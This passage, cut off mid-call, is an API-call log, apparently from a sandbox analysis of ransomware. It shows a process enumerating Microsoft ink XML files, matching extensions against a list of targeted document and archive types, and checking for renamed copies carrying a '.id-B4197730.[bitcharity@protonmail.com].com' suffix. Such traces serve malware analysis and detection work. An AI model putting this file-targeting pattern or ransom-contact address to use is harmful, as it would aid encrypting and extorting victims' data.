(lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.656] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=1853) returned 1 [0286.656] CloseHandle (hObject=0x109c) returned 1 [0286.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0286.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.657] lstrlenW (lpString=".doc") returned 4 [0286.657] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.657] lstrlenW (lpString=".docx") returned 5 [0286.657] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0286.657] lstrlenW (lpString=".pdf") returned 4 [0286.657] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.657] lstrlenW (lpString=".xls") returned 4 [0286.657] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.657] lstrlenW (lpString=".xlsx") returned 5 [0286.657] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0286.657] lstrlenW (lpString=".ppt") returned 4 [0286.657] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.657] lstrlenW (lpString=".zip") returned 4 [0286.657] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.657] lstrlenW (lpString=".rar") returned 4 [0286.657] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.657] lstrlenW (lpString=".bz2") returned 4 [0286.657] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.657] lstrlenW (lpString=".7z") returned 3 [0286.657] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.657] lstrlenW (lpString=".dbf") returned 4 [0286.657] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.658] lstrlenW (lpString=".1cd") returned 4 [0286.658] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.658] lstrlenW (lpString=".jpg") returned 4 [0286.658] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.658] lstrlenW (lpString=".doc") returned 4 [0286.658] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.658] lstrlenW (lpString=".docx") returned 5 [0286.658] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0286.658] lstrlenW (lpString=".pdf") returned 4 [0286.659] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.659] lstrlenW (lpString=".xls") returned 4 [0286.659] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.659] lstrlenW (lpString=".xlsx") returned 5 [0286.659] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0286.659] lstrlenW (lpString=".ppt") returned 4 [0286.659] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.659] lstrlenW (lpString=".zip") returned 4 [0286.659] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.659] lstrlenW (lpString=".rar") returned 4 [0286.659] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.659] lstrlenW (lpString=".bz2") returned 4 [0286.659] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.659] lstrlenW (lpString=".7z") returned 3 [0286.659] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.659] lstrlenW (lpString=".dbf") returned 4 [0286.659] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.659] lstrlenW (lpString=".1cd") returned 4 [0286.659] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 92 [0286.659] lstrlenW (lpString=".jpg") returned 4 [0286.659] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.659] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.659] lstrlenW (lpString="osknumpad.xml") returned 13 [0286.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.660] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=219) returned 1 [0286.660] CloseHandle (hObject=0x109c) returned 1 [0286.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml")) returned 0x20 [0286.660] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.660] lstrlenW (lpString=".doc") returned 4 [0286.660] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.660] lstrlenW (lpString=".docx") returned 5 [0286.660] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0286.660] lstrlenW (lpString=".pdf") returned 4 [0286.660] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.660] lstrlenW (lpString=".xls") returned 4 [0286.660] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.660] lstrlenW (lpString=".xlsx") returned 5 [0286.660] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0286.660] lstrlenW (lpString=".ppt") returned 4 [0286.660] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.660] lstrlenW (lpString=".zip") returned 4 [0286.660] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.660] lstrlenW (lpString=".rar") returned 4 [0286.660] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.660] lstrlenW (lpString=".bz2") returned 4 [0286.660] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.660] lstrlenW (lpString=".7z") returned 3 [0286.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.661] lstrlenW (lpString=".dbf") returned 4 [0286.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.661] lstrlenW (lpString=".1cd") returned 4 [0286.661] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.661] lstrlenW (lpString=".jpg") returned 4 [0286.661] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.661] lstrlenW (lpString=".doc") returned 4 [0286.661] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.661] lstrlenW (lpString=".docx") returned 5 [0286.661] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0286.661] lstrlenW (lpString=".pdf") returned 4 [0286.661] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.661] lstrlenW (lpString=".xls") returned 4 [0286.661] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.661] lstrlenW (lpString=".xlsx") returned 5 [0286.661] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0286.661] lstrlenW (lpString=".ppt") returned 4 [0286.661] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.661] lstrlenW (lpString=".zip") returned 4 [0286.661] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.661] lstrlenW (lpString=".rar") returned 4 [0286.661] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.661] lstrlenW (lpString=".bz2") returned 4 [0286.661] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.661] lstrlenW (lpString=".7z") returned 3 [0286.661] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.661] lstrlenW (lpString=".dbf") returned 4 [0286.661] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.661] lstrlenW (lpString=".1cd") returned 4 [0286.662] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml") returned 78 [0286.662] lstrlenW (lpString=".jpg") returned 4 [0286.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.662] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.662] lstrlenW (lpString="oskpredbase.xml") returned 15 [0286.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.662] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=924) returned 1 [0286.662] CloseHandle (hObject=0x109c) returned 1 [0286.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0286.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.662] lstrlenW (lpString=".doc") returned 4 [0286.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.662] lstrlenW (lpString=".docx") returned 5 [0286.662] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0286.662] lstrlenW (lpString=".pdf") returned 4 [0286.663] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString=".xls") returned 4 [0286.663] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString=".xlsx") returned 5 [0286.663] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0286.663] lstrlenW (lpString=".ppt") returned 4 [0286.663] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.663] lstrlenW (lpString=".zip") returned 4 [0286.663] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.663] lstrlenW (lpString=".rar") returned 4 [0286.663] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString=".bz2") returned 4 [0286.663] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString=".7z") returned 3 [0286.663] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.663] lstrlenW (lpString=".dbf") returned 4 [0286.663] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.663] lstrlenW (lpString=".1cd") returned 4 [0286.663] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.663] lstrlenW (lpString=".jpg") returned 4 [0286.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.663] lstrlenW (lpString=".doc") returned 4 [0286.663] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString=".docx") returned 5 [0286.663] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0286.663] lstrlenW (lpString=".pdf") returned 4 [0286.663] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString=".xls") returned 4 [0286.663] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.663] lstrlenW (lpString=".xlsx") returned 5 [0286.663] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0286.663] lstrlenW (lpString=".ppt") returned 4 [0286.664] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.664] lstrlenW (lpString=".zip") returned 4 [0286.664] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.664] lstrlenW (lpString=".rar") returned 4 [0286.664] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.664] lstrlenW (lpString=".bz2") returned 4 [0286.664] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.664] lstrlenW (lpString=".7z") returned 3 [0286.664] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.664] lstrlenW (lpString=".dbf") returned 4 [0286.664] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.664] lstrlenW (lpString=".1cd") returned 4 [0286.664] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0286.664] lstrlenW (lpString=".jpg") returned 4 [0286.664] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.664] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.664] lstrlenW (lpString="oskpred.xml") returned 11 [0286.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.664] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=215) returned 1 [0286.664] CloseHandle (hObject=0x109c) returned 1 [0286.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml")) returned 0x20 [0286.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.665] lstrlenW (lpString=".doc") returned 4 [0286.665] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.665] lstrlenW (lpString=".docx") returned 5 [0286.665] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0286.665] lstrlenW (lpString=".pdf") returned 4 [0286.665] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.665] lstrlenW (lpString=".xls") returned 4 [0286.665] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.665] lstrlenW (lpString=".xlsx") returned 5 [0286.665] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0286.665] lstrlenW (lpString=".ppt") returned 4 [0286.665] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.665] lstrlenW (lpString=".zip") returned 4 [0286.665] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.665] lstrlenW (lpString=".rar") returned 4 [0286.665] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.665] lstrlenW (lpString=".bz2") returned 4 [0286.665] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.665] lstrlenW (lpString=".7z") returned 3 [0286.665] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.665] lstrlenW (lpString=".dbf") returned 4 [0286.665] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.665] lstrlenW (lpString=".1cd") returned 4 [0286.665] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.666] lstrlenW (lpString=".jpg") returned 4 [0286.666] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.666] lstrlenW (lpString=".doc") returned 4 [0286.666] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.666] lstrlenW (lpString=".docx") returned 5 [0286.666] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0286.666] lstrlenW (lpString=".pdf") returned 4 [0286.666] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0286.666] lstrlenW (lpString=".xls") returned 4 [0286.666] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0286.666] lstrlenW (lpString=".xlsx") returned 5 [0286.666] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0286.666] lstrlenW (lpString=".ppt") returned 4 [0286.666] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0286.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.666] lstrlenW (lpString=".zip") returned 4 [0286.666] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0286.666] lstrlenW (lpString=".rar") returned 4 [0286.666] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0286.666] lstrlenW (lpString=".bz2") returned 4 [0286.666] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0286.666] lstrlenW (lpString=".7z") returned 3 [0286.666] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0286.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.666] lstrlenW (lpString=".dbf") returned 4 [0286.666] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0286.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.666] lstrlenW (lpString=".1cd") returned 4 [0286.666] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0286.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml") returned 76 [0286.666] lstrlenW (lpString=".jpg") returned 4 [0286.666] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0286.667] lstrcmpiW (lpString1=".xml", lpString2=".com") returned 1 [0286.667] lstrlenW (lpString="ea-sym.xml") returned 10 [0286.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x109c [0286.667] GetFileSizeEx (in: hFile=0x109c, lpFileSize=0x2cfff14 | out: lpFileSize=0x2cfff14*=694) returned 1 [0286.667] CloseHandle (hObject=0x109c) returned 1 [0286.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml")) returned 0x20 [0286.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0286.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0286.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 83 [0286.667] lstrlenW (lpString=".doc") returned 4 [0286.667] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0286.667] lstrlenW (lpString=".docx") returned 5 [0286.667] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0286.667] lstrlenW (lpString=".pdf") returned 4 [0286.667] 